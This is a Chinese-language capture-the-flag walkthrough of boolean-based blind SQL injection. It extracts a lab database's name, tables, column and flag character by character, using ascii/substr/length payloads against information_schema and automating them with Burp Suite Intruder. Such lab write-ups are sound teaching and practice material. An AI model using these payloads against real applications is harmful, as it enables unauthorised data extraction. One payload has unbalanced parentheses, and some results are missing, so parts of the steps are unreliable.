一、测试数据库名
1、测试数据库名的长度
测试语句:1 and length(database())=x #
注:x为任意正整数(1,2,3,4,5.......)
最终通过测试可以得到数据库名的长度为4
2、按位测试数据库名
测试语句:1 and ascii(substr(database(),1,1))=x #
注:x可能为97-122的小写字母,也可能为大写字母,因为是解题所以我们已经知道是小写字母了,直接用小写字母进行测试。
1)、取出数据库名的每位进行对比,如果和x相等页面上就会显示查询成功,用115测试成功,就知道了第一位字母为s,说明我们的测试语句正确。
知识补充:
ascii函数:将字母按ascii码进行转换成数字,例如:s的ascii为115
substr函数:写成易懂形式为:substr(字符串,从第几位开始取,取几个)
2)、用burpsuite抓包,抓取刚才测试的语句包,将它发送到Intruder模块,我们前面已经知道变化部分为substr函数中的从第几位开始取,和最后的对比字母,所以我们测试这两个地方就可以了,通过测试最终得到了数据库名为sqli
如图所示:
二、测试表名
1、猜测表的数量
1 and (select count(table_name) from information_schema.tables where table_schema='sqli')=x # 注:x为任意正整数(1,2,3,4,5.......)
通过测试得到表的数量为2。
2、猜测表的长度
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=x # 注:x为任意正整数(1,2,3,4,5.......)
通过测试得到第一个表的长度为4
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=x # 注:x为任意正整数(1,2,3,4,5.......)
通过测试得到第二个表的长度为4
3、按位测试表名
1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #
注:x可能为97-122的小写字母,也可能为大写字母,因为是解题所以我们已经知道是小写字母了,直接用小写字母进行测试。
limit函数:第一位是取第几个表,第一个就是0开始。第二位就是取几个表,1表示一个表
和按位测试数据库名一样的步骤,用burpsiute抓包,然后进行测试,通过测试最终得到了表名为news和flag。如下图所示:
三、测试字段名
1、猜测字段的数量
1 and (select count(column_name) from information_schema.columns where table_name='flag')=8 #
通过测试得到字段的数量为1。
2、猜测字段的长度
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x # 注:x为任意正整数(1,2,3,4,5.......)
通过测试得到字段的长度为4
3、按位测试字段名
第一位:1 and ascii(substr((select column_name from information_schema.columns where table_name= 'flag'),1,1))=102 # 注:102是f
第二位:1 and ascii(substr((select column_name from information_schema.columns where table_name= 'flag'),2,1))=108 # 注:108是l
........................................依次类推
和按位测试数据库名一样的步骤,用burpsiute抓包,然后进行测试,通过测试最终得到了字段名为flag。如下图所示:
四、测试数据内容
1、猜测数据内容的长度
1 and length(substr((select flag from sqli.flag)=x # 注:x为1,2,3,4,5,6.......
通过测试得到字段的长度为
2、按位测试数据内容
第一位:1 and ascii(substr((select flag from sqli.flag),1,1))=99 # 注:99是字母c
第二位:1 and ascii(substr((select flag from sqli.flag),2,1))=116 # 注:116是字母t
.........................................依次类推
和按位测试数据库名一样的步骤,用burpsiute抓包,然后进行测试,通过测试最终得到了字段内容为,如下图所示: